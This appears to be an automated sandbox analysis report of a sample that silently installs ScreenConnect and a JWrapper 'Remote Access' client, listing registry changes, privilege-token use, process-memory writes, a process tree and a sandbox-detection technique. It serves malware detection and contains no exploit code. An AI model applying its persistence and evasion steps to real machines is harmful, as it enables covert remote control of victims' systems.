Key opened	\REGISTRY\MACHINE\SYSTEM\ControlSet001\Control\NLS\Language	SimpleService.exe
Key opened	\REGISTRY\MACHINE\SYSTEM\ControlSet001\Control\NLS\Language	rundll32.exe
Key opened	\REGISTRY\MACHINE\SYSTEM\ControlSet001\Control\NLS\Language	ScreenConnect.ClientService.exe
Key opened	\REGISTRY\MACHINE\SYSTEM\ControlSet001\Control\NLS\Language	session_win.exe
Key opened	\REGISTRY\MACHINE\SYSTEM\ControlSet001\Control\NLS\Language	rundll32.exe
Key opened	\REGISTRY\MACHINE\SYSTEM\ControlSet001\Control\NLS\Language	rundll32.exe
Key opened	\REGISTRY\MACHINE\SYSTEM\ControlSet001\Control\NLS\Language	MsiExec.exe
Key opened	\REGISTRY\MACHINE\SYSTEM\ControlSet001\Control\NLS\Language	session_win.exe
Key opened	\REGISTRY\MACHINE\SYSTEM\ControlSet001\Control\NLS\Language	rundll32.exe
Key opened	\REGISTRY\MACHINE\SYSTEM\ControlSet001\Control\NLS\Language	session_win.exe
Key opened	\REGISTRY\MACHINE\SYSTEM\ControlSet001\Control\NLS\Language	elev_win.exe
Key opened	\REGISTRY\MACHINE\SYSTEM\ControlSet001\Control\NLS\Language	MsiExec.exe

Checks processor information in registry 2 TTPs 2 IoCs

Processor information is often read in order to detect sandboxing environments.

Query Registry

T1012

System Information Discovery

T1082

description	ioc	Process
Key opened	\REGISTRY\MACHINE\HARDWARE\DESCRIPTION\System\CentralProcessor\0	ScreenConnect.WindowsClient.exe
Key value queried	\REGISTRY\MACHINE\HARDWARE\DESCRIPTION\System\CentralProcessor\0\ProcessorNameString	ScreenConnect.WindowsClient.exe

Modifies data under HKEY_USERS 64 IoCs

description	ioc	Process
Key created	\REGISTRY\USER\.DEFAULT\Software\Microsoft\SystemCertificates\CA\CRLs	powershell.exe
Set value (int)	\REGISTRY\USER\.DEFAULT\Software\Microsoft\Windows\CurrentVersion\Internet Settings\ZoneMap\UNCAsIntranet = "1"	powershell.exe
Set value (data)	\REGISTRY\USER\.DEFAULT\Software\Microsoft\RestartManager\Session0000\SessionHash = e71d4052067a2c36ece8182f5643de64a0b862ebea626a964c9e01bb1ac4d9fb	msiexec.exe
Key created	\REGISTRY\USER\.DEFAULT\Software\Microsoft\SystemCertificates\SmartCardRoot\CRLs	powershell.exe
Key created	\REGISTRY\USER\.DEFAULT\Software\Classes\Local Settings\MuiCache\2c	msiexec.exe
Key created	\REGISTRY\USER\.DEFAULT\Software\Microsoft\SystemCertificates\CA\CTLs	powershell.exe
Key created	\REGISTRY\USER\.DEFAULT\Software\Policies\Microsoft\SystemCertificates\Disallowed\Certificates	powershell.exe
Key created	\REGISTRY\USER\.DEFAULT\Software\Microsoft\SystemCertificates\CA	powershell.exe
Key created	\REGISTRY\USER\.DEFAULT\Software\Microsoft\SystemCertificates\CA\CRLs	powershell.exe
Key created	\REGISTRY\USER\.DEFAULT\Software\Microsoft\SystemCertificates\trust\CTLs	powershell.exe
Key created	\REGISTRY\USER\.DEFAULT\Software\Microsoft\SystemCertificates\Root\CTLs	powershell.exe
Set value (str)	\REGISTRY\USER\.DEFAULT\Software\Classes\Local Settings\MuiCache\28\52C64B7E\@%SystemRoot%\System32\wuaueng.dll,-400 = "Windows Update"	powershell.exe
Key created	\REGISTRY\USER\.DEFAULT\Software\Policies\Microsoft\SystemCertificates\CA\Certificates	powershell.exe
Key created	\REGISTRY\USER\.DEFAULT\Software\Policies\Microsoft\SystemCertificates\TrustedPeople	powershell.exe
Key created	\REGISTRY\USER\.DEFAULT\Software\Microsoft\SystemCertificates\trust	powershell.exe
Key created	\REGISTRY\USER\.DEFAULT\Software	msiexec.exe
Key created	\REGISTRY\USER\.DEFAULT\Software\Microsoft\SystemCertificates\CA\CTLs	powershell.exe
Key created	\REGISTRY\USER\.DEFAULT\Software\Policies\Microsoft\SystemCertificates\CA\CTLs	powershell.exe
Key created	\REGISTRY\USER\.DEFAULT\Software\Microsoft\SystemCertificates\Root\CRLs	powershell.exe
Key created	\REGISTRY\USER\.DEFAULT\Software\Microsoft\SystemCertificates\trust\Certificates	powershell.exe
Key created	\REGISTRY\USER\.DEFAULT\Software\Classes\Local Settings\MuiCache\28	msiexec.exe
Key created	\REGISTRY\USER\.DEFAULT\Software\Microsoft\SystemCertificates\TrustedPeople\CTLs	powershell.exe
Key created	\REGISTRY\USER\.DEFAULT\Software\Policies\Microsoft\SystemCertificates\TrustedPeople\CTLs	powershell.exe
Set value (str)	\REGISTRY\USER\.DEFAULT\Software\Classes\Local Settings\MuiCache\29\52C64B7E\@%SystemRoot%\System32\ci.dll,-100 = "Isolated User Mode (IUM)"	powershell.exe
Key created	\REGISTRY\USER\.DEFAULT\Software\Microsoft\SystemCertificates\SmartCardRoot	powershell.exe
Key created	\REGISTRY\USER\.DEFAULT\Software\Microsoft\SystemCertificates\trust\Certificates	powershell.exe
Key created	\REGISTRY\USER\.DEFAULT\Software\Microsoft\SystemCertificates\trust\CRLs	powershell.exe
Set value (int)	\REGISTRY\USER\.DEFAULT\Software\Microsoft\Windows\CurrentVersion\Internet Settings\ZoneMap\UNCAsIntranet = "1"	powershell.exe
Key created	\REGISTRY\USER\.DEFAULT\Software\Classes\Local Settings\MuiCache\29	msiexec.exe
Key created	\REGISTRY\USER\.DEFAULT\Software\Microsoft\SystemCertificates\CA\Certificates	powershell.exe
Key created	\REGISTRY\USER\.DEFAULT\Software\Microsoft\SystemCertificates\Root\Certificates	powershell.exe
Key created	\REGISTRY\USER\.DEFAULT\Software\Microsoft\SystemCertificates\SmartCardRoot\CTLs	powershell.exe
Set value (int)	\REGISTRY\USER\.DEFAULT\Software\Microsoft\Windows\CurrentVersion\Internet Settings\ZoneMap\AutoDetect = "0"	powershell.exe
Key created	\REGISTRY\USER\.DEFAULT\Software\Microsoft\SystemCertificates\Disallowed\Certificates	powershell.exe
Key created	\REGISTRY\USER\.DEFAULT\Software\Policies\Microsoft\SystemCertificates\TrustedPeople\CTLs	powershell.exe
Key created	\REGISTRY\USER\.DEFAULT\Software\Policies\Microsoft\SystemCertificates\trust\Certificates	powershell.exe
Key created	\REGISTRY\USER\.DEFAULT\Software\Policies\Microsoft\SystemCertificates\CA	powershell.exe
Set value (int)	\REGISTRY\USER\.DEFAULT\Software\Microsoft\Windows\CurrentVersion\Internet Settings\ZoneMap\UNCAsIntranet = "1"	powershell.exe
Key created	\REGISTRY\USER\.DEFAULT\Software\Policies\Microsoft\SystemCertificates\Disallowed	powershell.exe
Set value (str)	\REGISTRY\USER\.DEFAULT\Software\Classes\Local Settings\MuiCache\2a\52C64B7E\@%SystemRoot%\System32\ci.dll,-101 = "Enclave"	powershell.exe
Key created	\REGISTRY\USER\.DEFAULT\Software\Microsoft\SystemCertificates\trust	powershell.exe
Set value (str)	\REGISTRY\USER\.DEFAULT\Software\Classes\Local Settings\MuiCache\2b\52C64B7E\@%SystemRoot%\System32\ci.dll,-100 = "Isolated User Mode (IUM)"	powershell.exe
Set value (int)	\REGISTRY\USER\.DEFAULT\Software\Microsoft\Windows\CurrentVersion\Internet Settings\ZoneMap\ProxyBypass = "1"	powershell.exe
Key created	\REGISTRY\USER\.DEFAULT\Software\Microsoft\SystemCertificates\Disallowed\Certificates	powershell.exe
Key created	\REGISTRY\USER\.DEFAULT\Software\Policies\Microsoft\SystemCertificates\CA	powershell.exe
Key created	\REGISTRY\USER\.DEFAULT\SOFTWARE\Microsoft\Windows\CurrentVersion\Internet Settings\Connections	powershell.exe
Key created	\REGISTRY\USER\.DEFAULT\Software\Policies\Microsoft\SystemCertificates\trust	powershell.exe
Key created	\REGISTRY\USER\.DEFAULT\Software\Policies\Microsoft\SystemCertificates\TrustedPeople\Certificates	powershell.exe
Key created	\REGISTRY\USER\.DEFAULT\Software\Policies\Microsoft\SystemCertificates\CA\CTLs	powershell.exe
Key created	\REGISTRY\USER\.DEFAULT\Software\Microsoft\SystemCertificates\SmartCardRoot\Certificates	powershell.exe
Key created	\REGISTRY\USER\.DEFAULT\SOFTWARE\Microsoft\Windows\CurrentVersion\Internet Settings\Connections	powershell.exe
Key created	\REGISTRY\USER\.DEFAULT\Software\Microsoft\SystemCertificates\CA\Certificates	powershell.exe
Key created	\REGISTRY\USER\.DEFAULT\Software\Policies\Microsoft\SystemCertificates\TrustedPeople\Certificates	powershell.exe
Set value (int)	\REGISTRY\USER\.DEFAULT\Software\Microsoft\Windows\CurrentVersion\Internet Settings\ZoneMap\IntranetName = "1"	powershell.exe
Key created	\REGISTRY\USER\.DEFAULT\Software\Microsoft\SystemCertificates\TrustedPeople\CRLs	powershell.exe
Key deleted	\REGISTRY\USER\.DEFAULT\Software\Classes\Local Settings\MuiCache\29\52C64B7E	msiexec.exe
Set value (int)	\REGISTRY\USER\.DEFAULT\Software\Microsoft\Windows\CurrentVersion\Internet Settings\ZoneMap\UNCAsIntranet = "1"	powershell.exe
Key created	\REGISTRY\USER\.DEFAULT\Software\Policies\Microsoft\SystemCertificates\trust\CRLs	powershell.exe
Key created	\REGISTRY\USER\.DEFAULT\Software\Microsoft\SystemCertificates\TrustedPeople\CTLs	powershell.exe
Set value (data)	\REGISTRY\USER\.DEFAULT\Software\Microsoft\RestartManager\Session0000\Owner = d40f000098f1df0381dedc01	msiexec.exe
Key created	\REGISTRY\USER\.DEFAULT\Software\Policies\Microsoft\SystemCertificates\trust\Certificates	powershell.exe
Set value (int)	\REGISTRY\USER\.DEFAULT\Software\Microsoft\Windows\CurrentVersion\Internet Settings\ZoneMap\ProxyBypass = "1"	powershell.exe
Key created	\REGISTRY\USER\.DEFAULT\Software\Microsoft\Windows\CurrentVersion\WinTrust\Trust Providers\Software Publishing	powershell.exe
Key created	\REGISTRY\USER\.DEFAULT\Software\Microsoft\SystemCertificates\Disallowed	powershell.exe

Modifies registry class 45 IoCs

description	ioc	Process
Set value (int)	\REGISTRY\MACHINE\SOFTWARE\Classes\sc-42b3d3622ec4bf2d\UseOriginalUrlEncoding = "1"	msiexec.exe
Key created	\REGISTRY\MACHINE\SOFTWARE\Classes\sc-42b3d3622ec4bf2d\shell\open\command	msiexec.exe
Set value (str)	\REGISTRY\MACHINE\SOFTWARE\Classes\CLSID\{6FF59A85-BC37-4CD4-6102-B167BF40ED7B}\InprocServer32\ThreadingModel = "Apartment"	msiexec.exe
Set value (str)	\REGISTRY\MACHINE\SOFTWARE\Classes\Installer\Products\3E130BB422AD9E2C6BB6561FBD1CDEF9\SourceList\LastUsedSource = "n;2;C:\\Windows\\TEMP\\toolbox6678658804080179808run\\"	msiexec.exe
Key created	\REGISTRY\MACHINE\Software\Classes\sc-42b3d3622ec4bf2d	msiexec.exe
Set value (str)	\REGISTRY\MACHINE\SOFTWARE\Classes\sc-42b3d3622ec4bf2d\shell\open\command\ = "\"C:\\Program Files (x86)\\ScreenConnect Client (42b3d3622ec4bf2d)\\ScreenConnect.WindowsClient.exe\" \"%1\""	msiexec.exe
Key created	\REGISTRY\MACHINE\SOFTWARE\Classes\Installer\Products\3E130BB422AD9E2C6BB6561FBD1CDEF9	msiexec.exe
Key created	\REGISTRY\MACHINE\SOFTWARE\Classes\Installer\Products\3E130BB422AD9E2C6BB6561FBD1CDEF9\SourceList	msiexec.exe
Key created	\REGISTRY\MACHINE\SOFTWARE\Classes\Installer\Products\3E130BB422AD9E2C6BB6561FBD1CDEF9\SourceList\Media	msiexec.exe
Set value (str)	\REGISTRY\MACHINE\SOFTWARE\Classes\Installer\Products\3E130BB422AD9E2C6BB6561FBD1CDEF9\ProductName = "ScreenConnect Client (42b3d3622ec4bf2d)"	msiexec.exe
Set value (str)	\REGISTRY\MACHINE\SOFTWARE\Classes\Installer\Products\3E130BB422AD9E2C6BB6561FBD1CDEF9\PackageCode = "3E130BB422AD9E2C6BB6561FBD1CDEF9"	msiexec.exe
Set value (int)	\REGISTRY\MACHINE\SOFTWARE\Classes\Installer\Products\3E130BB422AD9E2C6BB6561FBD1CDEF9\AdvertiseFlags = "388"	msiexec.exe
Set value (str)	\REGISTRY\MACHINE\SOFTWARE\Classes\Installer\Products\3E130BB422AD9E2C6BB6561FBD1CDEF9\ProductIcon = "C:\\Windows\\Installer\\{4BB031E3-DA22-C2E9-B66B-65F1DBC1ED9F}\\DefaultIcon"	msiexec.exe
Set value (str)	\REGISTRY\MACHINE\SOFTWARE\Classes\Installer\Products\3E130BB422AD9E2C6BB6561FBD1CDEF9\SourceList\Net\3 = "C:\\Windows\\TEMP\\toolbox1179543024556431128run\\"	msiexec.exe
Key created	\REGISTRY\MACHINE\SOFTWARE\Classes\sc-42b3d3622ec4bf2d	msiexec.exe
Key created	\REGISTRY\MACHINE\Software\Classes\CLSID\{6FF59A85-BC37-4CD4-6102-B167BF40ED7B}	msiexec.exe
Key created	\REGISTRY\MACHINE\Software\Classes\CLSID\{6FF59A85-BC37-4CD4-6102-B167BF40ED7B}\InprocServer32	msiexec.exe
Set value (str)	\REGISTRY\MACHINE\SOFTWARE\Classes\Installer\Features\3E130BB422AD9E2C6BB6561FBD1CDEF9\Full	msiexec.exe
Set value (int)	\REGISTRY\MACHINE\SOFTWARE\Classes\Installer\Products\3E130BB422AD9E2C6BB6561FBD1CDEF9\DeploymentFlags = "3"	msiexec.exe
Set value (str)	\REGISTRY\MACHINE\SOFTWARE\Classes\Installer\Products\3E130BB422AD9E2C6BB6561FBD1CDEF9\SourceList\LastUsedSource = "n;4;C:\\Windows\\TEMP\\toolbox7617922243706157024run\\"	msiexec.exe
Set value (str)	\REGISTRY\MACHINE\SOFTWARE\Classes\Installer\Products\3E130BB422AD9E2C6BB6561FBD1CDEF9\SourceList\Net\4 = "C:\\Windows\\TEMP\\toolbox7617922243706157024run\\"	msiexec.exe
Set value (str)	\REGISTRY\MACHINE\SOFTWARE\Classes\Installer\Products\3E130BB422AD9E2C6BB6561FBD1CDEF9\SourceList\LastUsedSource = "n;5;C:\\Windows\\TEMP\\toolbox1931877488433977885run\\"	msiexec.exe
Set value (str)	\REGISTRY\MACHINE\SOFTWARE\Classes\sc-42b3d3622ec4bf2d\URL Protocol	msiexec.exe
Set value (str)	\REGISTRY\MACHINE\SOFTWARE\Classes\CLSID\{6FF59A85-BC37-4CD4-6102-B167BF40ED7B}\ = "ScreenConnect Client (42b3d3622ec4bf2d) Credential Provider"	msiexec.exe
Set value (str)	\REGISTRY\MACHINE\SOFTWARE\Classes\CLSID\{6FF59A85-BC37-4CD4-6102-B167BF40ED7B}\InprocServer32\ = "C:\\Program Files (x86)\\ScreenConnect Client (42b3d3622ec4bf2d)\\ScreenConnect.WindowsCredentialProvider.dll"	msiexec.exe
Set value (int)	\REGISTRY\MACHINE\SOFTWARE\Classes\Installer\Products\3E130BB422AD9E2C6BB6561FBD1CDEF9\Language = "1033"	msiexec.exe
Set value (str)	\REGISTRY\MACHINE\SOFTWARE\Classes\Installer\Products\3E130BB422AD9E2C6BB6561FBD1CDEF9\SourceList\PackageName = "sc.msi"	msiexec.exe
Set value (str)	\REGISTRY\MACHINE\SOFTWARE\Classes\Installer\Products\3E130BB422AD9E2C6BB6561FBD1CDEF9\SourceList\Media\1 = ";"	msiexec.exe
Set value (str)	\REGISTRY\MACHINE\SOFTWARE\Classes\Installer\Products\3E130BB422AD9E2C6BB6561FBD1CDEF9\SourceList\LastUsedSource = "n;1;C:\\Windows\\TEMP\\toolbox1686059146831325005run\\"	msiexec.exe
Set value (str)	\REGISTRY\MACHINE\SOFTWARE\Classes\Installer\Products\3E130BB422AD9E2C6BB6561FBD1CDEF9\SourceList\Net\2 = "C:\\Windows\\TEMP\\toolbox6678658804080179808run\\"	msiexec.exe
Set value (int)	\REGISTRY\MACHINE\SOFTWARE\Classes\Installer\Products\3E130BB422AD9E2C6BB6561FBD1CDEF9\Version = "402849809"	msiexec.exe
Set value (int)	\REGISTRY\MACHINE\SOFTWARE\Classes\Installer\Products\3E130BB422AD9E2C6BB6561FBD1CDEF9\InstanceType = "0"	msiexec.exe
Set value (int)	\REGISTRY\MACHINE\SOFTWARE\Classes\Installer\Products\3E130BB422AD9E2C6BB6561FBD1CDEF9\AuthorizedLUAApp = "0"	msiexec.exe
Set value (str)	\REGISTRY\MACHINE\SOFTWARE\Classes\Installer\UpgradeCodes\3C0AABA641A183B0243B3D26E24CFBD2\3E130BB422AD9E2C6BB6561FBD1CDEF9	msiexec.exe
Set value (str)	\REGISTRY\MACHINE\SOFTWARE\Classes\Installer\Products\3E130BB422AD9E2C6BB6561FBD1CDEF9\SourceList\Net\1 = "C:\\Windows\\TEMP\\toolbox1686059146831325005run\\"	msiexec.exe
Key created	\REGISTRY\MACHINE\Software\Classes\sc-42b3d3622ec4bf2d\shell\open\command	msiexec.exe
Key created	\REGISTRY\MACHINE\SOFTWARE\Classes\sc-42b3d3622ec4bf2d\shell	msiexec.exe
Key created	\REGISTRY\MACHINE\SOFTWARE\Classes\sc-42b3d3622ec4bf2d\shell\open	msiexec.exe
Key created	\REGISTRY\MACHINE\SOFTWARE\Classes\Installer\Features\3E130BB422AD9E2C6BB6561FBD1CDEF9	msiexec.exe
Set value (int)	\REGISTRY\MACHINE\SOFTWARE\Classes\Installer\Products\3E130BB422AD9E2C6BB6561FBD1CDEF9\Assignment = "1"	msiexec.exe
Set value (data)	\REGISTRY\MACHINE\SOFTWARE\Classes\Installer\Products\3E130BB422AD9E2C6BB6561FBD1CDEF9\Clients = 3a0000000000	msiexec.exe
Set value (str)	\REGISTRY\MACHINE\SOFTWARE\Classes\Installer\Products\3E130BB422AD9E2C6BB6561FBD1CDEF9\SourceList\LastUsedSource = "n;3;C:\\Windows\\TEMP\\toolbox1179543024556431128run\\"	msiexec.exe
Key created	\REGISTRY\MACHINE\SOFTWARE\Classes\Installer\UpgradeCodes\3C0AABA641A183B0243B3D26E24CFBD2	msiexec.exe
Key created	\REGISTRY\MACHINE\SOFTWARE\Classes\Installer\Products\3E130BB422AD9E2C6BB6561FBD1CDEF9\SourceList\Net	msiexec.exe
Set value (str)	\REGISTRY\MACHINE\SOFTWARE\Classes\Installer\Products\3E130BB422AD9E2C6BB6561FBD1CDEF9\SourceList\Net\5 = "C:\\Windows\\TEMP\\toolbox1931877488433977885run\\"	msiexec.exe

Suspicious behavior: EnumeratesProcesses 44 IoCs

pid	Process
4996	session_win.exe
4996	session_win.exe
4476	session_win.exe
4476	session_win.exe
1184	powershell.exe
1184	powershell.exe
1184	powershell.exe
4052	msiexec.exe
4052	msiexec.exe
5112	ScreenConnect.ClientService.exe
5112	ScreenConnect.ClientService.exe
5112	ScreenConnect.ClientService.exe
5112	ScreenConnect.ClientService.exe
5112	ScreenConnect.ClientService.exe
5112	ScreenConnect.ClientService.exe
5996	powershell.exe
5996	powershell.exe
5996	powershell.exe
5212	session_win.exe
5212	session_win.exe
4052	msiexec.exe
4052	msiexec.exe
1744	powershell.exe
1744	powershell.exe
1744	powershell.exe
5796	session_win.exe
5796	session_win.exe
4052	msiexec.exe
4052	msiexec.exe
3884	powershell.exe
3884	powershell.exe
3884	powershell.exe
4052	msiexec.exe
4052	msiexec.exe
3456	powershell.exe
3456	powershell.exe
3456	powershell.exe
3712	session_win.exe
3712	session_win.exe
4052	msiexec.exe
4052	msiexec.exe
4144	powershell.exe
4144	powershell.exe
4144	powershell.exe

Suspicious use of AdjustPrivilegeToken 64 IoCs

description	pid	Process
Token: SeDebugPrivilege	1184	powershell.exe
Token: SeShutdownPrivilege	4808	msiexec.exe
Token: SeIncreaseQuotaPrivilege	4808	msiexec.exe
Token: SeSecurityPrivilege	4052	msiexec.exe
Token: SeCreateTokenPrivilege	4808	msiexec.exe
Token: SeAssignPrimaryTokenPrivilege	4808	msiexec.exe
Token: SeLockMemoryPrivilege	4808	msiexec.exe
Token: SeIncreaseQuotaPrivilege	4808	msiexec.exe
Token: SeMachineAccountPrivilege	4808	msiexec.exe
Token: SeTcbPrivilege	4808	msiexec.exe
Token: SeSecurityPrivilege	4808	msiexec.exe
Token: SeTakeOwnershipPrivilege	4808	msiexec.exe
Token: SeLoadDriverPrivilege	4808	msiexec.exe
Token: SeSystemProfilePrivilege	4808	msiexec.exe
Token: SeSystemtimePrivilege	4808	msiexec.exe
Token: SeProfSingleProcessPrivilege	4808	msiexec.exe
Token: SeIncBasePriorityPrivilege	4808	msiexec.exe
Token: SeCreatePagefilePrivilege	4808	msiexec.exe
Token: SeCreatePermanentPrivilege	4808	msiexec.exe
Token: SeBackupPrivilege	4808	msiexec.exe
Token: SeRestorePrivilege	4808	msiexec.exe
Token: SeShutdownPrivilege	4808	msiexec.exe
Token: SeDebugPrivilege	4808	msiexec.exe
Token: SeAuditPrivilege	4808	msiexec.exe
Token: SeSystemEnvironmentPrivilege	4808	msiexec.exe
Token: SeChangeNotifyPrivilege	4808	msiexec.exe
Token: SeRemoteShutdownPrivilege	4808	msiexec.exe
Token: SeUndockPrivilege	4808	msiexec.exe
Token: SeSyncAgentPrivilege	4808	msiexec.exe
Token: SeEnableDelegationPrivilege	4808	msiexec.exe
Token: SeManageVolumePrivilege	4808	msiexec.exe
Token: SeImpersonatePrivilege	4808	msiexec.exe
Token: SeCreateGlobalPrivilege	4808	msiexec.exe
Token: SeRestorePrivilege	4052	msiexec.exe
Token: SeTakeOwnershipPrivilege	4052	msiexec.exe
Token: SeRestorePrivilege	4052	msiexec.exe
Token: SeTakeOwnershipPrivilege	4052	msiexec.exe
Token: SeRestorePrivilege	4052	msiexec.exe
Token: SeTakeOwnershipPrivilege	4052	msiexec.exe
Token: SeRestorePrivilege	4052	msiexec.exe
Token: SeTakeOwnershipPrivilege	4052	msiexec.exe
Token: SeRestorePrivilege	4052	msiexec.exe
Token: SeTakeOwnershipPrivilege	4052	msiexec.exe
Token: SeShutdownPrivilege	4932	MsiExec.exe
Token: SeRestorePrivilege	4052	msiexec.exe
Token: SeTakeOwnershipPrivilege	4052	msiexec.exe
Token: SeRestorePrivilege	4052	msiexec.exe
Token: SeTakeOwnershipPrivilege	4052	msiexec.exe
Token: SeRestorePrivilege	4052	msiexec.exe
Token: SeTakeOwnershipPrivilege	4052	msiexec.exe
Token: SeRestorePrivilege	4052	msiexec.exe
Token: SeTakeOwnershipPrivilege	4052	msiexec.exe
Token: SeRestorePrivilege	4052	msiexec.exe
Token: SeTakeOwnershipPrivilege	4052	msiexec.exe
Token: SeRestorePrivilege	4052	msiexec.exe
Token: SeTakeOwnershipPrivilege	4052	msiexec.exe
Token: SeRestorePrivilege	4052	msiexec.exe
Token: SeTakeOwnershipPrivilege	4052	msiexec.exe
Token: SeRestorePrivilege	4052	msiexec.exe
Token: SeTakeOwnershipPrivilege	4052	msiexec.exe
Token: SeRestorePrivilege	4052	msiexec.exe
Token: SeTakeOwnershipPrivilege	4052	msiexec.exe
Token: SeRestorePrivilege	4052	msiexec.exe
Token: SeTakeOwnershipPrivilege	4052	msiexec.exe

Suspicious use of SetWindowsHookEx 2 IoCs

pid	Process
5772	Remote Access.exe
4640	Remote Access.exe

Suspicious use of WriteProcessMemory 64 IoCs

description	pid	Process	procid_target
PID 4616 wrote to memory of 2188	4616	Record_2026-05-07_223949_3833.exe	84
PID 4616 wrote to memory of 5348	4616	Record_2026-05-07_223949_3833.exe	85
PID 4616 wrote to memory of 5624	4616	Record_2026-05-07_223949_3833.exe	86
PID 4616 wrote to memory of 2652	4616	Record_2026-05-07_223949_3833.exe	87
PID 4616 wrote to memory of 3376	4616	Record_2026-05-07_223949_3833.exe	88
PID 4616 wrote to memory of 1504	4616	Record_2026-05-07_223949_3833.exe	89
PID 4616 wrote to memory of 5328	4616	Record_2026-05-07_223949_3833.exe	90
PID 4616 wrote to memory of 5720	4616	Record_2026-05-07_223949_3833.exe	91
PID 4616 wrote to memory of 4172	4616	Record_2026-05-07_223949_3833.exe	94
PID 4616 wrote to memory of 4080	4616	Record_2026-05-07_223949_3833.exe	95
PID 4616 wrote to memory of 3240	4616	Record_2026-05-07_223949_3833.exe	98
PID 4616 wrote to memory of 5808	4616	Record_2026-05-07_223949_3833.exe	100
PID 4616 wrote to memory of 3864	4616	Record_2026-05-07_223949_3833.exe	101
PID 4616 wrote to memory of 3312	4616	Record_2026-05-07_223949_3833.exe	102
PID 3312 wrote to memory of 5460	3312	Remote AccessLauncher.exe	105
PID 4616 wrote to memory of 4412	4616	Record_2026-05-07_223949_3833.exe	107
PID 4616 wrote to memory of 5956	4616	Record_2026-05-07_223949_3833.exe	109
PID 4616 wrote to memory of 1824	4616	Record_2026-05-07_223949_3833.exe	110
PID 4616 wrote to memory of 5684	4616	Record_2026-05-07_223949_3833.exe	112
PID 4616 wrote to memory of 436	4616	Record_2026-05-07_223949_3833.exe	115
PID 4616 wrote to memory of 4864	4616	Record_2026-05-07_223949_3833.exe	116
PID 4616 wrote to memory of 5896	4616	Record_2026-05-07_223949_3833.exe	117
PID 4616 wrote to memory of 5096	4616	Record_2026-05-07_223949_3833.exe	118
PID 4616 wrote to memory of 5916	4616	Record_2026-05-07_223949_3833.exe	120
PID 4616 wrote to memory of 1552	4616	Record_2026-05-07_223949_3833.exe	122
PID 4616 wrote to memory of 5680	4616	Record_2026-05-07_223949_3833.exe	123
PID 4616 wrote to memory of 5072	4616	Record_2026-05-07_223949_3833.exe	129
PID 4616 wrote to memory of 3020	4616	Record_2026-05-07_223949_3833.exe	130
PID 3020 wrote to memory of 2188	3020	Remote Access.exe	133
PID 3020 wrote to memory of 5624	3020	Remote Access.exe	135
PID 3020 wrote to memory of 5872	3020	Remote Access.exe	137
PID 3020 wrote to memory of 3848	3020	Remote Access.exe	139
PID 3020 wrote to memory of 2592	3020	Remote Access.exe	140
PID 3020 wrote to memory of 1744	3020	Remote Access.exe	142
PID 3020 wrote to memory of 6072	3020	Remote Access.exe	143
PID 3020 wrote to memory of 3784	3020	Remote Access.exe	145
PID 3020 wrote to memory of 3480	3020	Remote Access.exe	149
PID 3020 wrote to memory of 5308	3020	Remote Access.exe	150
PID 4352 wrote to memory of 704	4352	SimpleService.exe	152
PID 704 wrote to memory of 5772	704	SimpleGatewayService.exe	153
PID 5772 wrote to memory of 728	5772	Remote Access.exe	156
PID 5772 wrote to memory of 896	5772	Remote Access.exe	157
PID 5772 wrote to memory of 4944	5772	Remote Access.exe	159
PID 5772 wrote to memory of 4048	5772	Remote Access.exe	162
PID 5772 wrote to memory of 4576	5772	Remote Access.exe	164
PID 5772 wrote to memory of 1992	5772	Remote Access.exe	166
PID 5772 wrote to memory of 2972	5772	Remote Access.exe	168
PID 5772 wrote to memory of 4356	5772	Remote Access.exe	170
PID 5772 wrote to memory of 5212	5772	Remote Access.exe	172
PID 5772 wrote to memory of 3740	5772	Remote Access.exe	175
PID 5772 wrote to memory of 6028	5772	Remote Access.exe	177
PID 5772 wrote to memory of 6024	5772	Remote Access.exe	179
PID 5772 wrote to memory of 3704	5772	Remote Access.exe	181
PID 5772 wrote to memory of 5672	5772	Remote Access.exe	183
PID 5772 wrote to memory of 4996	5772	Remote Access.exe	185
PID 4996 wrote to memory of 4900	4996	session_win.exe	186
PID 4900 wrote to memory of 812	4900	Remote Access Monitoring.exe	187
PID 4900 wrote to memory of 4896	4900	Remote Access Monitoring.exe	188
PID 4900 wrote to memory of 4524	4900	Remote Access Monitoring.exe	189
PID 4900 wrote to memory of 4476	4900	Remote Access Monitoring.exe	193
PID 4476 wrote to memory of 4640	4476	session_win.exe	194
PID 4640 wrote to memory of 3480	4640	Remote Access.exe	195
PID 4640 wrote to memory of 1184	4640	Remote Access.exe	200
PID 4640 wrote to memory of 1920	4640	Remote Access.exe	204

C:\Users\Admin\AppData\Local\Temp\Record_2026-05-07_223949_3833.exe
"C:\Users\Admin\AppData\Local\Temp\Record_2026-05-07_223949_3833.exe"
1⤵
- Loads dropped DLL
- Suspicious use of WriteProcessMemory
PID:4616
- C:\ProgramData\JWrapper-Remote Access\JWrapperTemp-1778199809-5-app\bin\unpack200.exe
  "C:\ProgramData\JWrapper-Remote Access\JWrapperTemp-1778199809-5-app\bin\unpack200.exe" "C:\ProgramData\JWrapper-Remote Access\JWrapperTemp-1778199809-5-app\lib\alt-rt.jar.p2" "C:\ProgramData\JWrapper-Remote Access\JWrapperTemp-1778199809-5-app\lib\alt-rt.jar"
  2⤵
  - Executes dropped EXE
  - Loads dropped DLL
  PID:2188
- C:\ProgramData\JWrapper-Remote Access\JWrapperTemp-1778199809-5-app\bin\unpack200.exe
  "C:\ProgramData\JWrapper-Remote Access\JWrapperTemp-1778199809-5-app\bin\unpack200.exe" "C:\ProgramData\JWrapper-Remote Access\JWrapperTemp-1778199809-5-app\lib\ext\access-bridge-64.jar.p2" "C:\ProgramData\JWrapper-Remote Access\JWrapperTemp-1778199809-5-app\lib\ext\access-bridge-64.jar"
  2⤵
  - Executes dropped EXE
  - Loads dropped DLL
  PID:5348
- C:\ProgramData\JWrapper-Remote Access\JWrapperTemp-1778199809-5-app\bin\unpack200.exe
  "C:\ProgramData\JWrapper-Remote Access\JWrapperTemp-1778199809-5-app\bin\unpack200.exe" "C:\ProgramData\JWrapper-Remote Access\JWrapperTemp-1778199809-5-app\lib\ext\jaccess.jar.p2" "C:\ProgramData\JWrapper-Remote Access\JWrapperTemp-1778199809-5-app\lib\ext\jaccess.jar"
  2⤵
  - Executes dropped EXE
  - Loads dropped DLL
  PID:5624
- C:\ProgramData\JWrapper-Remote Access\JWrapperTemp-1778199809-5-app\bin\unpack200.exe
  "C:\ProgramData\JWrapper-Remote Access\JWrapperTemp-1778199809-5-app\bin\unpack200.exe" "C:\ProgramData\JWrapper-Remote Access\JWrapperTemp-1778199809-5-app\lib\ext\sunec.jar.p2" "C:\ProgramData\JWrapper-Remote Access\JWrapperTemp-1778199809-5-app\lib\ext\sunec.jar"
  2⤵
  - Executes dropped EXE
  - Loads dropped DLL
